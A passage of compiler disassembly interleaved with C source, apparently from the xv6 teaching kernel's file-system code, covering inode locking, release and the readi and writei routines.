memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
80101729: 89 44 24 04 mov %eax,0x4(%esp)
8010172d: 8d 43 5c lea 0x5c(%ebx),%eax
80101730: c7 44 24 08 34 00 00 movl $0x34,0x8(%esp)
80101737: 00
80101738: 89 04 24 mov %eax,(%esp)
8010173b: e8 c0 2c 00 00 call 80104400 <memmove>
brelse(bp);
80101740: 89 34 24 mov %esi,(%esp)
80101743: e8 98 ea ff ff call 801001e0 <brelse>
ip->valid = 1;
if(ip->type == 0)
80101748: 66 83 7b 50 00 cmpw $0x0,0x50(%ebx)
ip->minor = dip->minor;
ip->nlink = dip->nlink;
ip->size = dip->size;
memmove(ip->addrs, dip->addrs, sizeof(ip->addrs));
brelse(bp);
ip->valid = 1;
8010174d: c7 43 4c 01 00 00 00 movl $0x1,0x4c(%ebx)
if(ip->type == 0)
80101754: 0f 85 76 ff ff ff jne 801016d0 <ilock+0x30>
panic("ilock: no type");
8010175a: c7 04 24 70 6e 10 80 movl $0x80106e70,(%esp)
80101761: e8 0a ec ff ff call 80100370 <panic>
{
struct buf *bp;
struct dinode *dip;
if(ip == 0 || ip->ref < 1)
panic("ilock");
80101766: c7 04 24 6a 6e 10 80 movl $0x80106e6a,(%esp)
8010176d: e8 fe eb ff ff call 80100370 <panic>
80101772: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101779: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
80101780 <iunlock>:
}
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
80101780: 55 push %ebp
80101781: 89 e5 mov %esp,%ebp
80101783: 83 ec 18 sub $0x18,%esp
80101786: 89 5d f8 mov %ebx,-0x8(%ebp)
80101789: 8b 5d 08 mov 0x8(%ebp),%ebx
8010178c: 89 75 fc mov %esi,-0x4(%ebp)
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
8010178f: 85 db test %ebx,%ebx
80101791: 74 27 je 801017ba <iunlock+0x3a>
80101793: 8d 73 0c lea 0xc(%ebx),%esi
80101796: 89 34 24 mov %esi,(%esp)
80101799: e8 22 29 00 00 call 801040c0 <holdingsleep>
8010179e: 85 c0 test %eax,%eax
801017a0: 74 18 je 801017ba <iunlock+0x3a>
801017a2: 8b 5b 08 mov 0x8(%ebx),%ebx
801017a5: 85 db test %ebx,%ebx
801017a7: 7e 11 jle 801017ba <iunlock+0x3a>
panic("iunlock");
releasesleep(&ip->lock);
801017a9: 89 75 08 mov %esi,0x8(%ebp)
}
801017ac: 8b 5d f8 mov -0x8(%ebp),%ebx
801017af: 8b 75 fc mov -0x4(%ebp),%esi
801017b2: 89 ec mov %ebp,%esp
801017b4: 5d pop %ebp
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
releasesleep(&ip->lock);
801017b5: e9 c6 28 00 00 jmp 80104080 <releasesleep>
// Unlock the given inode.
void
iunlock(struct inode *ip)
{
if(ip == 0 || !holdingsleep(&ip->lock) || ip->ref < 1)
panic("iunlock");
801017ba: c7 04 24 7f 6e 10 80 movl $0x80106e7f,(%esp)
801017c1: e8 aa eb ff ff call 80100370 <panic>
801017c6: 8d 76 00 lea 0x0(%esi),%esi
801017c9: 8d bc 27 00 00 00 00 lea 0x0(%edi,%eiz,1),%edi
801017d0 <iput>:
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
{
801017d0: 55 push %ebp
801017d1: 89 e5 mov %esp,%ebp
801017d3: 83 ec 38 sub $0x38,%esp
801017d6: 89 75 f8 mov %esi,-0x8(%ebp)
801017d9: 8b 75 08 mov 0x8(%ebp),%esi
801017dc: 89 7d fc mov %edi,-0x4(%ebp)
801017df: 89 5d f4 mov %ebx,-0xc(%ebp)
acquiresleep(&ip->lock);
801017e2: 8d 7e 0c lea 0xc(%esi),%edi
801017e5: 89 3c 24 mov %edi,(%esp)
801017e8: e8 33 28 00 00 call 80104020 <acquiresleep>
if(ip->valid && ip->nlink == 0){
801017ed: 8b 46 4c mov 0x4c(%esi),%eax
801017f0: 85 c0 test %eax,%eax
801017f2: 74 07 je 801017fb <iput+0x2b>
801017f4: 66 83 7e 56 00 cmpw $0x0,0x56(%esi)
801017f9: 74 35 je 80101830 <iput+0x60>
ip->type = 0;
iupdate(ip);
ip->valid = 0;
}
}
releasesleep(&ip->lock);
801017fb: 89 3c 24 mov %edi,(%esp)
801017fe: e8 7d 28 00 00 call 80104080 <releasesleep>
acquire(&icache.lock);
80101803: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
8010180a: e8 71 2a 00 00 call 80104280 <acquire>
ip->ref--;
8010180f: 83 6e 08 01 subl $0x1,0x8(%esi)
release(&icache.lock);
}
80101813: 8b 5d f4 mov -0xc(%ebp),%ebx
}
releasesleep(&ip->lock);
acquire(&icache.lock);
ip->ref--;
release(&icache.lock);
80101816: c7 45 08 e0 09 11 80 movl $0x801109e0,0x8(%ebp)
}
8010181d: 8b 75 f8 mov -0x8(%ebp),%esi
80101820: 8b 7d fc mov -0x4(%ebp),%edi
80101823: 89 ec mov %ebp,%esp
80101825: 5d pop %ebp
}
releasesleep(&ip->lock);
acquire(&icache.lock);
ip->ref--;
release(&icache.lock);
80101826: e9 c5 2a 00 00 jmp 801042f0 <release>
8010182b: 90 nop
8010182c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
void
iput(struct inode *ip)
{
acquiresleep(&ip->lock);
if(ip->valid && ip->nlink == 0){
acquire(&icache.lock);
80101830: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101837: e8 44 2a 00 00 call 80104280 <acquire>
int r = ip->ref;
8010183c: 8b 5e 08 mov 0x8(%esi),%ebx
release(&icache.lock);
8010183f: c7 04 24 e0 09 11 80 movl $0x801109e0,(%esp)
80101846: e8 a5 2a 00 00 call 801042f0 <release>
if(r == 1){
8010184b: 83 fb 01 cmp $0x1,%ebx
8010184e: 75 ab jne 801017fb <iput+0x2b>
// If that was the last reference and the inode has no links
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
80101850: 8d 4e 30 lea 0x30(%esi),%ecx
acquiresleep(&ip->lock);
if(ip->valid && ip->nlink == 0){
acquire(&icache.lock);
int r = ip->ref;
release(&icache.lock);
if(r == 1){
80101853: 89 f3 mov %esi,%ebx
// If that was the last reference and the inode has no links
// to it, free the inode (and its content) on disk.
// All calls to iput() must be inside a transaction in
// case it has to free the inode.
void
iput(struct inode *ip)
80101855: 89 7d e4 mov %edi,-0x1c(%ebp)
80101858: 89 cf mov %ecx,%edi
8010185a: eb 0b jmp 80101867 <iput+0x97>
8010185c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
uint *a;
for(i = 0; i < NDIRECT; i++){
if(ip->addrs[i]){
bfree(ip->dev, ip->addrs[i]);
ip->addrs[i] = 0;
80101860: 83 c3 04 add $0x4,%ebx
{
int i, j;
struct buf *bp;
uint *a;
for(i = 0; i < NDIRECT; i++){
80101863: 39 fb cmp %edi,%ebx
80101865: 74 19 je 80101880 <iput+0xb0>
if(ip->addrs[i]){
80101867: 8b 53 5c mov 0x5c(%ebx),%edx
8010186a: 85 d2 test %edx,%edx
8010186c: 74 f2 je 80101860 <iput+0x90>
bfree(ip->dev, ip->addrs[i]);
8010186e: 8b 06 mov (%esi),%eax
80101870: e8 6b f9 ff ff call 801011e0 <bfree>
ip->addrs[i] = 0;
80101875: c7 43 5c 00 00 00 00 movl $0x0,0x5c(%ebx)
8010187c: eb e2 jmp 80101860 <iput+0x90>
8010187e: 66 90 xchg %ax,%ax
}
}
if(ip->addrs[NDIRECT]){
80101880: 8b 86 8c 00 00 00 mov 0x8c(%esi),%eax
80101886: 8b 7d e4 mov -0x1c(%ebp),%edi
80101889: 85 c0 test %eax,%eax
8010188b: 75 2b jne 801018b8 <iput+0xe8>
brelse(bp);
bfree(ip->dev, ip->addrs[NDIRECT]);
ip->addrs[NDIRECT] = 0;
}
ip->size = 0;
8010188d: c7 46 58 00 00 00 00 movl $0x0,0x58(%esi)
iupdate(ip);
80101894: 89 34 24 mov %esi,(%esp)
80101897: e8 44 fd ff ff call 801015e0 <iupdate>
int r = ip->ref;
release(&icache.lock);
if(r == 1){
// inode has no links and no other references: truncate and free.
itrunc(ip);
ip->type = 0;
8010189c: 66 c7 46 50 00 00 movw $0x0,0x50(%esi)
iupdate(ip);
801018a2: 89 34 24 mov %esi,(%esp)
801018a5: e8 36 fd ff ff call 801015e0 <iupdate>
ip->valid = 0;
801018aa: c7 46 4c 00 00 00 00 movl $0x0,0x4c(%esi)
801018b1: e9 45 ff ff ff jmp 801017fb <iput+0x2b>
801018b6: 66 90 xchg %ax,%ax
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018b8: 89 44 24 04 mov %eax,0x4(%esp)
801018bc: 8b 06 mov (%esi),%eax
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
801018be: 31 db xor %ebx,%ebx
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018c0: 89 04 24 mov %eax,(%esp)
801018c3: e8 08 e8 ff ff call 801000d0 <bread>
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
801018c8: 89 7d e0 mov %edi,-0x20(%ebp)
801018cb: 89 f7 mov %esi,%edi
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
a = (uint*)bp->data;
801018cd: 89 c1 mov %eax,%ecx
801018cf: 83 c1 5c add $0x5c,%ecx
ip->addrs[i] = 0;
}
}
if(ip->addrs[NDIRECT]){
bp = bread(ip->dev, ip->addrs[NDIRECT]);
801018d2: 89 45 e4 mov %eax,-0x1c(%ebp)
a = (uint*)bp->data;
for(j = 0; j < NINDIRECT; j++){
801018d5: 89 ce mov %ecx,%esi
801018d7: 31 c0 xor %eax,%eax
801018d9: eb 12 jmp 801018ed <iput+0x11d>
801018db: 90 nop
801018dc: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
801018e0: 83 c3 01 add $0x1,%ebx
801018e3: 81 fb 80 00 00 00 cmp $0x80,%ebx
801018e9: 89 d8 mov %ebx,%eax
801018eb: 74 10 je 801018fd <iput+0x12d>
if(a[j])
801018ed: 8b 14 86 mov (%esi,%eax,4),%edx
801018f0: 85 d2 test %edx,%edx
801018f2: 74 ec je 801018e0 <iput+0x110>
bfree(ip->dev, a[j]);
801018f4: 8b 07 mov (%edi),%eax
801018f6: e8 e5 f8 ff ff call 801011e0 <bfree>
801018fb: eb e3 jmp 801018e0 <iput+0x110>
}
brelse(bp);
801018fd: 8b 45 e4 mov -0x1c(%ebp),%eax
80101900: 89 fe mov %edi,%esi
80101902: 8b 7d e0 mov -0x20(%ebp),%edi
80101905: 89 04 24 mov %eax,(%esp)
80101908: e8 d3 e8 ff ff call 801001e0 <brelse>
bfree(ip->dev, ip->addrs[NDIRECT]);
8010190d: 8b 96 8c 00 00 00 mov 0x8c(%esi),%edx
80101913: 8b 06 mov (%esi),%eax
80101915: e8 c6 f8 ff ff call 801011e0 <bfree>
ip->addrs[NDIRECT] = 0;
8010191a: c7 86 8c 00 00 00 00 movl $0x0,0x8c(%esi)
80101921: 00 00 00
80101924: e9 64 ff ff ff jmp 8010188d <iput+0xbd>
80101929: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101930 <iunlockput>:
}
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
80101930: 55 push %ebp
80101931: 89 e5 mov %esp,%ebp
80101933: 53 push %ebx
80101934: 83 ec 14 sub $0x14,%esp
80101937: 8b 5d 08 mov 0x8(%ebp),%ebx
iunlock(ip);
8010193a: 89 1c 24 mov %ebx,(%esp)
8010193d: e8 3e fe ff ff call 80101780 <iunlock>
iput(ip);
80101942: 89 5d 08 mov %ebx,0x8(%ebp)
}
80101945: 83 c4 14 add $0x14,%esp
80101948: 5b pop %ebx
80101949: 5d pop %ebp
// Common idiom: unlock, then put.
void
iunlockput(struct inode *ip)
{
iunlock(ip);
iput(ip);
8010194a: e9 81 fe ff ff jmp 801017d0 <iput>
8010194f: 90 nop
80101950 <stati>:
// Copy stat information from inode.
// Caller must hold ip->lock.
void
stati(struct inode *ip, struct stat *st)
{
80101950: 55 push %ebp
80101951: 89 e5 mov %esp,%ebp
80101953: 8b 55 08 mov 0x8(%ebp),%edx
80101956: 8b 45 0c mov 0xc(%ebp),%eax
st->dev = ip->dev;
80101959: 8b 0a mov (%edx),%ecx
8010195b: 89 48 04 mov %ecx,0x4(%eax)
st->ino = ip->inum;
8010195e: 8b 4a 04 mov 0x4(%edx),%ecx
80101961: 89 48 08 mov %ecx,0x8(%eax)
st->type = ip->type;
80101964: 0f b7 4a 50 movzwl 0x50(%edx),%ecx
80101968: 66 89 08 mov %cx,(%eax)
st->nlink = ip->nlink;
8010196b: 0f b7 4a 56 movzwl 0x56(%edx),%ecx
8010196f: 66 89 48 0c mov %cx,0xc(%eax)
st->size = ip->size;
80101973: 8b 52 58 mov 0x58(%edx),%edx
80101976: 89 50 10 mov %edx,0x10(%eax)
}
80101979: 5d pop %ebp
8010197a: c3 ret
8010197b: 90 nop
8010197c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101980 <readi>:
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
80101980: 55 push %ebp
80101981: 89 e5 mov %esp,%ebp
80101983: 57 push %edi
80101984: 56 push %esi
80101985: 53 push %ebx
80101986: 83 ec 2c sub $0x2c,%esp
80101989: 8b 75 08 mov 0x8(%ebp),%esi
8010198c: 8b 45 0c mov 0xc(%ebp),%eax
8010198f: 8b 55 14 mov 0x14(%ebp),%edx
80101992: 8b 5d 10 mov 0x10(%ebp),%ebx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101995: 66 83 7e 50 03 cmpw $0x3,0x50(%esi)
//PAGEBREAK!
// Read data from inode.
// Caller must hold ip->lock.
int
readi(struct inode *ip, char *dst, uint off, uint n)
{
8010199a: 89 45 e0 mov %eax,-0x20(%ebp)
8010199d: 89 55 dc mov %edx,-0x24(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
801019a0: 0f 84 da 00 00 00 je 80101a80 <readi+0x100>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
801019a6: 8b 56 58 mov 0x58(%esi),%edx
return -1;
801019a9: b8 ff ff ff ff mov $0xffffffff,%eax
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
}
if(off > ip->size || off + n < off)
801019ae: 39 da cmp %ebx,%edx
801019b0: 0f 82 bd 00 00 00 jb 80101a73 <readi+0xf3>
801019b6: 8b 4d dc mov -0x24(%ebp),%ecx
801019b9: 01 d9 add %ebx,%ecx
801019bb: 0f 82 b2 00 00 00 jb 80101a73 <readi+0xf3>
return -1;
if(off + n > ip->size)
n = ip->size - off;
801019c1: 89 d0 mov %edx,%eax
801019c3: 29 d8 sub %ebx,%eax
801019c5: 39 ca cmp %ecx,%edx
801019c7: 0f 43 45 dc cmovae -0x24(%ebp),%eax
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019cb: 85 c0 test %eax,%eax
}
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
801019cd: 89 45 dc mov %eax,-0x24(%ebp)
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
801019d0: 0f 84 9a 00 00 00 je 80101a70 <readi+0xf0>
801019d6: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
801019dd: eb 6a jmp 80101a49 <readi+0xc9>
801019df: 90 nop
{
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
801019e0: 8d 7a 14 lea 0x14(%edx),%edi
801019e3: 8b 44 be 0c mov 0xc(%esi,%edi,4),%eax
801019e7: 85 c0 test %eax,%eax
801019e9: 74 75 je 80101a60 <readi+0xe0>
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019eb: 89 44 24 04 mov %eax,0x4(%esp)
801019ef: 8b 06 mov (%esi),%eax
m = min(n - tot, BSIZE - off%BSIZE);
801019f1: bf 00 02 00 00 mov $0x200,%edi
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
801019f6: 89 04 24 mov %eax,(%esp)
801019f9: e8 d2 e6 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
801019fe: 8b 4d dc mov -0x24(%ebp),%ecx
80101a01: 2b 4d e4 sub -0x1c(%ebp),%ecx
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101a04: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101a06: 89 d8 mov %ebx,%eax
80101a08: 25 ff 01 00 00 and $0x1ff,%eax
80101a0d: 29 c7 sub %eax,%edi
memmove(dst, bp->data + off%BSIZE, m);
80101a0f: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
80101a13: 39 cf cmp %ecx,%edi
memmove(dst, bp->data + off%BSIZE, m);
80101a15: 89 44 24 04 mov %eax,0x4(%esp)
80101a19: 8b 45 e0 mov -0x20(%ebp),%eax
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
80101a1c: 0f 47 f9 cmova %ecx,%edi
memmove(dst, bp->data + off%BSIZE, m);
80101a1f: 89 55 d8 mov %edx,-0x28(%ebp)
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a22: 01 fb add %edi,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
80101a24: 89 7c 24 08 mov %edi,0x8(%esp)
80101a28: 89 04 24 mov %eax,(%esp)
80101a2b: e8 d0 29 00 00 call 80104400 <memmove>
brelse(bp);
80101a30: 8b 55 d8 mov -0x28(%ebp),%edx
80101a33: 89 14 24 mov %edx,(%esp)
80101a36: e8 a5 e7 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > ip->size)
n = ip->size - off;
for(tot=0; tot<n; tot+=m, off+=m, dst+=m){
80101a3b: 01 7d e4 add %edi,-0x1c(%ebp)
80101a3e: 8b 55 e4 mov -0x1c(%ebp),%edx
80101a41: 01 7d e0 add %edi,-0x20(%ebp)
80101a44: 39 55 dc cmp %edx,-0x24(%ebp)
80101a47: 76 27 jbe 80101a70 <readi+0xf0>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101a49: 89 da mov %ebx,%edx
80101a4b: c1 ea 09 shr $0x9,%edx
bmap(struct inode *ip, uint bn)
{
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101a4e: 83 fa 0b cmp $0xb,%edx
80101a51: 76 8d jbe 801019e0 <readi+0x60>
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
80101a53: 89 f0 mov %esi,%eax
80101a55: e8 26 f9 ff ff call 80101380 <bmap.part.0>
80101a5a: eb 8f jmp 801019eb <readi+0x6b>
80101a5c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
80101a60: 8b 06 mov (%esi),%eax
80101a62: e8 f9 f7 ff ff call 80101260 <balloc>
80101a67: 89 44 be 0c mov %eax,0xc(%esi,%edi,4)
80101a6b: e9 7b ff ff ff jmp 801019eb <readi+0x6b>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
80101a70: 8b 45 dc mov -0x24(%ebp),%eax
}
80101a73: 83 c4 2c add $0x2c,%esp
80101a76: 5b pop %ebx
80101a77: 5e pop %esi
80101a78: 5f pop %edi
80101a79: 5d pop %ebp
80101a7a: c3 ret
80101a7b: 90 nop
80101a7c: 8d 74 26 00 lea 0x0(%esi,%eiz,1),%esi
{
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
80101a80: 0f b7 46 52 movzwl 0x52(%esi),%eax
80101a84: 66 83 f8 09 cmp $0x9,%ax
80101a88: 77 18 ja 80101aa2 <readi+0x122>
80101a8a: 98 cwtl
80101a8b: 8b 04 c5 60 09 11 80 mov -0x7feef6a0(,%eax,8),%eax
80101a92: 85 c0 test %eax,%eax
80101a94: 74 0c je 80101aa2 <readi+0x122>
return -1;
return devsw[ip->major].read(ip, dst, n);
80101a96: 89 55 10 mov %edx,0x10(%ebp)
m = min(n - tot, BSIZE - off%BSIZE);
memmove(dst, bp->data + off%BSIZE, m);
brelse(bp);
}
return n;
}
80101a99: 83 c4 2c add $0x2c,%esp
80101a9c: 5b pop %ebx
80101a9d: 5e pop %esi
80101a9e: 5f pop %edi
80101a9f: 5d pop %ebp
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
return devsw[ip->major].read(ip, dst, n);
80101aa0: ff e0 jmp *%eax
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].read)
return -1;
80101aa2: b8 ff ff ff ff mov $0xffffffff,%eax
80101aa7: eb ca jmp 80101a73 <readi+0xf3>
80101aa9: 8d b4 26 00 00 00 00 lea 0x0(%esi,%eiz,1),%esi
80101ab0 <writei>:
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101ab0: 55 push %ebp
80101ab1: 89 e5 mov %esp,%ebp
80101ab3: 57 push %edi
80101ab4: 56 push %esi
80101ab5: 53 push %ebx
80101ab6: 83 ec 2c sub $0x2c,%esp
80101ab9: 8b 4d 0c mov 0xc(%ebp),%ecx
80101abc: 8b 75 08 mov 0x8(%ebp),%esi
80101abf: 8b 5d 10 mov 0x10(%ebp),%ebx
80101ac2: 89 4d e0 mov %ecx,-0x20(%ebp)
80101ac5: 8b 4d 14 mov 0x14(%ebp),%ecx
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101ac8: 66 83 7e 50 03 cmpw $0x3,0x50(%esi)
// PAGEBREAK!
// Write data to inode.
// Caller must hold ip->lock.
int
writei(struct inode *ip, char *src, uint off, uint n)
{
80101acd: 89 4d dc mov %ecx,-0x24(%ebp)
uint tot, m;
struct buf *bp;
if(ip->type == T_DEV){
80101ad0: 0f 84 f2 00 00 00 je 80101bc8 <writei+0x118>
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101ad6: 39 5e 58 cmp %ebx,0x58(%esi)
return -1;
80101ad9: b8 ff ff ff ff mov $0xffffffff,%eax
if(ip->major < 0 || ip->major >= NDEV || !devsw[ip->major].write)
return -1;
return devsw[ip->major].write(ip, src, n);
}
if(off > ip->size || off + n < off)
80101ade: 0f 82 d7 00 00 00 jb 80101bbb <writei+0x10b>
80101ae4: 8b 55 dc mov -0x24(%ebp),%edx
80101ae7: 01 da add %ebx,%edx
80101ae9: 0f 82 cc 00 00 00 jb 80101bbb <writei+0x10b>
return -1;
if(off + n > MAXFILE*BSIZE)
80101aef: 81 fa 00 18 01 00 cmp $0x11800,%edx
80101af5: 0f 87 c0 00 00 00 ja 80101bbb <writei+0x10b>
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101afb: 8b 45 dc mov -0x24(%ebp),%eax
80101afe: 85 c0 test %eax,%eax
80101b00: 0f 84 b2 00 00 00 je 80101bb8 <writei+0x108>
80101b06: c7 45 e4 00 00 00 00 movl $0x0,-0x1c(%ebp)
80101b0d: eb 75 jmp 80101b84 <writei+0xd4>
80101b0f: 90 nop
{
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
if((addr = ip->addrs[bn]) == 0)
80101b10: 8d 7a 14 lea 0x14(%edx),%edi
80101b13: 8b 44 be 0c mov 0xc(%esi,%edi,4),%eax
80101b17: 85 c0 test %eax,%eax
80101b19: 74 7d je 80101b98 <writei+0xe8>
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101b1b: 89 44 24 04 mov %eax,0x4(%esp)
80101b1f: 8b 06 mov (%esi),%eax
m = min(n - tot, BSIZE - off%BSIZE);
80101b21: bf 00 02 00 00 mov $0x200,%edi
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101b26: 89 04 24 mov %eax,(%esp)
80101b29: e8 a2 e5 ff ff call 801000d0 <bread>
m = min(n - tot, BSIZE - off%BSIZE);
80101b2e: 8b 4d dc mov -0x24(%ebp),%ecx
80101b31: 2b 4d e4 sub -0x1c(%ebp),%ecx
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101b34: 89 c2 mov %eax,%edx
m = min(n - tot, BSIZE - off%BSIZE);
80101b36: 89 d8 mov %ebx,%eax
80101b38: 25 ff 01 00 00 and $0x1ff,%eax
80101b3d: 29 c7 sub %eax,%edi
80101b3f: 39 cf cmp %ecx,%edi
80101b41: 0f 47 f9 cmova %ecx,%edi
memmove(bp->data + off%BSIZE, src, m);
80101b44: 8b 4d e0 mov -0x20(%ebp),%ecx
80101b47: 8d 44 02 5c lea 0x5c(%edx,%eax,1),%eax
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b4b: 01 fb add %edi,%ebx
bp = bread(ip->dev, bmap(ip, off/BSIZE));
m = min(n - tot, BSIZE - off%BSIZE);
memmove(bp->data + off%BSIZE, src, m);
80101b4d: 89 55 d8 mov %edx,-0x28(%ebp)
80101b50: 89 7c 24 08 mov %edi,0x8(%esp)
80101b54: 89 4c 24 04 mov %ecx,0x4(%esp)
80101b58: 89 04 24 mov %eax,(%esp)
80101b5b: e8 a0 28 00 00 call 80104400 <memmove>
log_write(bp);
80101b60: 8b 55 d8 mov -0x28(%ebp),%edx
80101b63: 89 14 24 mov %edx,(%esp)
80101b66: e8 a5 11 00 00 call 80102d10 <log_write>
brelse(bp);
80101b6b: 8b 55 d8 mov -0x28(%ebp),%edx
80101b6e: 89 14 24 mov %edx,(%esp)
80101b71: e8 6a e6 ff ff call 801001e0 <brelse>
if(off > ip->size || off + n < off)
return -1;
if(off + n > MAXFILE*BSIZE)
return -1;
for(tot=0; tot<n; tot+=m, off+=m, src+=m){
80101b76: 01 7d e4 add %edi,-0x1c(%ebp)
80101b79: 8b 4d e4 mov -0x1c(%ebp),%ecx
80101b7c: 01 7d e0 add %edi,-0x20(%ebp)
80101b7f: 39 4d dc cmp %ecx,-0x24(%ebp)
80101b82: 76 24 jbe 80101ba8 <writei+0xf8>
bp = bread(ip->dev, bmap(ip, off/BSIZE));
80101b84: 89 da mov %ebx,%edx
80101b86: c1 ea 09 shr $0x9,%edx
bmap(struct inode *ip, uint bn)
{
uint addr, *a;
struct buf *bp;
if(bn < NDIRECT){
80101b89: 83 fa 0b cmp $0xb,%edx
80101b8c: 76 82 jbe 80101b10 <writei+0x60>
if((addr = ip->addrs[bn]) == 0)
ip->addrs[bn] = addr = balloc(ip->dev);
80101b8e: 89 f0 mov %esi,%eax
80101b90: e8 eb f7 ff ff call 80101380 <bmap.part.0>
80101b95: eb 84 jmp 80101b1b <writei+0x6b>
80101b97: 90 nop
80101b98: 8b 06 mov (%esi),%eax
80101b9a: e8 c1 f6 ff ff call 80101260 <balloc>
80101b9f: 89 44 be 0c mov %eax,0xc(%esi,%edi,4)
80101ba3: e9 73 ff ff ff jmp 80101b1b <writei+0x6b>
memmove(bp->data + off%BSIZE, src, m);
log_write(bp);
brelse(bp);
}
if(n > 0 && off > ip->size){
80101ba8: 39 5e 58 cmp %ebx,0x58(%esi)
80101bab: 73 0b jae 80101bb8 <writei+0x108>
ip->size = off;
80101bad: 89 5e 58 mov %ebx,0x58(%esi)
iupdate(ip);
80101bb0: 89 34 24 mov %esi,(%esp)
80101bb3: e8 28 fa ff ff call 801015e0 <iupdate>
}
return n;
80101bb8: 8b 45 dc mov -0x24(%ebp),%eax
}
80101bbb: 83 c4 2c add $0x2c,%esp
